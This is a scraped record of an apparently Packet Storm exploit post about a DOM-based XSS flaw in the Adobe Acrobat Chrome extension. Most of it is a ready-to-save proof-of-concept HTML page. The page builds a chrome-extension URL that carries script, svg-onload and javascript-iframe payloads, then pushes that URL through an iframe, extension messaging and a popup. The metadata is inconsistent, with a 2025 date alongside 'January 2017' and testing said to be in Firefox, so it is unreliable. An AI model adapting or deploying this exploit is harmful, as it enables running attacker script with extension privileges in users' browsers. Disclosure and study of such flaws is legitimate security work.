{“lastseen”:”2025-12-09T17:45:47″,”description”:”Adobe Acrobat Chrome extension version 1.41.100 suffers from a cross site scripting vulnerability…”,”published”:”2025-12-09T00:00:00″,”modified”:”2025-12-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe Acrobat Chrome 1.41.100 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:212600″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe Acrobat Chrome V 1.41.100 Extension DOM XSS Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/chromewebstore.google.com\/detail\/adobe-acrobat-pdf-edit-co\/efaidnbmnnnibpcajpcglclefindmkaj |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212491\/ \\n \\n [+] Summary : The Adobe Acrobat Chrome extension fails to sanitize JSON-based message parameters rendered in the frame.html file. This creates a\\n DOM-based XSS condition. Malicious payloads are executed inside the extension context.\\n \\n [+] Date: January 2017\\n \\n Extension: Adobe Acrobat Chrome Extension (ID: efaidnbmnnnibpcajpcglclefindmkaj)\\n \\n Type: DOM-based Cross-Site Scripting (XSS)\\n \\n Users Affected: ~30 million installations (via forced auto-update)\\n \\t\\n [+] Technical Details:\\n \\n The extension receives JSON data and renders dynamic HTML without \\n proper sanitization. The vulnerable code accepts untrusted strings\\n and injects them into the DOM using innerHTML.\\n \\n [+] Impact:\\n An attacker can execute arbitrary JavaScript within the extension\\n context, bypassing browser Same Origin Policy and triggering \\n extension-level privileges.\\n \\n [+] Exploit (PoC):\\n The following sanitized PoC demonstrates the XSS trigger behavior.\\n \\n Steps to Reproduce:\\n 1. Install Adobe Acrobat Chrome Extension.\\n 2. Visit a crafted local HTML page.\\n 3. Observe execution of JavaScript inside the frame context.\\n \\n Save Instructions:\\n Code below should be saved in `poc.html` and opened locally.\\n \\n Execution:\\n Open `poc.html` in Chrome with the extension installed. Observe\\n console logs confirming rendering inside the extension’s frame.\\n \\n [+] POC :\\t\\n \\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003eAdobe Acrobat XSS Exploit\\u003c\/title\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch2\\u003eAdobe Acrobat Extension DOM XSS Exploit\\u003c\/h2\\u003e\\n \\n \\u003cdiv id=\\”exploit-container\\”\\u003e\\u003c\/div\\u003e\\n \\n \\u003cscript\\u003e\\n \/\/ Extension ID and vulnerable page\\n const EXTENSION_ID = ‘efaidnbmnnnibpcajpcglclefindmkaj’;\\n const VULNERABLE_PAGE = ‘data\/js\/frame.html’;\\n \\n function createExploit() {\\n \/\/ Advanced XSS payload with multiple vectors\\n const payload = {\\n panel_op: \\”status\\”,\\n current_status: \\”failure\\”,\\n message: `\\n \\u003cdiv style=\\”background:red;color:white;padding:20px;\\”\\u003e\\n \\u003ch1\\u003eXSS EXECUTED\\u003c\/h1\\u003e\\n \\u003cp\\u003eDomain: \\u003cscript\\u003edocument.write(document.domain)\\u003c\/script\\u003e\\u003c\/p\\u003e\\n \\u003csvg\/onload=\\”alert(‘POC By Indoushka: ‘ + location.href)\\”\\u003e\\n \\u003c\/div\\u003e\\n \\u003ciframe src=\\”javascript:alert(‘iframe js’)\\” style=\\”display:none\\”\\u003e\\u003c\/iframe\\u003e\\n `.replace(\/\\\\n\/g, ‘ ‘).trim()\\n };\\n \\n \/\/ URL encode the payload\\n const encodedPayload = encodeURIComponent(JSON.stringify(payload));\\n const exploitUrl = `chrome-extension:\/\/${EXTENSION_ID}\/${VULNERABLE_PAGE}?message=${encodedPayload}`;\\n \\n return exploitUrl;\\n }\\n \\n function executeExploit() {\\n const exploitUrl = createExploit();\\n \\n \/\/ Method 1: Try with iframe sandbox bypass\\n const iframe = document.createElement(‘iframe’);\\n iframe.sandbox = ‘allow-scripts allow-same-origin’;\\n iframe.src = exploitUrl;\\n iframe.style.width = \\”500px\\”;\\n iframe.style.height = \\”400px\\”;\\n iframe.style.border = \\”3px solid red\\”;\\n \\n document.getElementById(‘exploit-container’).appendChild(iframe);\\n \\n console.log(‘Exploit URL:’, exploitUrl);\\n \\n \/\/ Method 2: Try to trigger via extension messaging\\n setTimeout(() =\\u003e {\\n try {\\n \/\/ Try to communicate with the extension\\n chrome.runtime.sendMessage(EXTENSION_ID, { \\n type: ‘trefoil_html_convert’,\\n data: payload \\n }, response =\\u003e {\\n console.log(‘Extension response:’, response);\\n });\\n } catch(e) {\\n console.log(‘Direct messaging failed:’, e.message);\\n }\\n }, 1000);\\n \\n \/\/ Method 3: Create a popup with user gesture\\n document.body.onclick = function() {\\n window.open(exploitUrl, ‘_blank’, ‘width=600,height=400’);\\n };\\n }\\n \\n \/\/ Execute exploit after page load\\n window.onload = executeExploit;\\n \\n \/\/ Alternative: Use button with user gesture\\n document.body.innerHTML += `\\n \\u003cbutton onclick=\\”window.open(‘${createExploit()}’, ‘_blank’, ‘width=600,height=400’)\\”\\u003e\\n Click to Trigger Exploit (User Gesture Required)\\n \\u003c\/button\\u003e\\n `;\\n \\u003c\/script\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212600″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212600\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-09T17:45:47″,”description”:”Adobe Acrobat Chrome extension version 1.41.100 suffers from a cross site scripting vulnerability…”,”published”:”2025-12-09T00:00:00″,”modified”:”2025-12-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe Acrobat Chrome 1.41.100 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:212600″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-29734","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n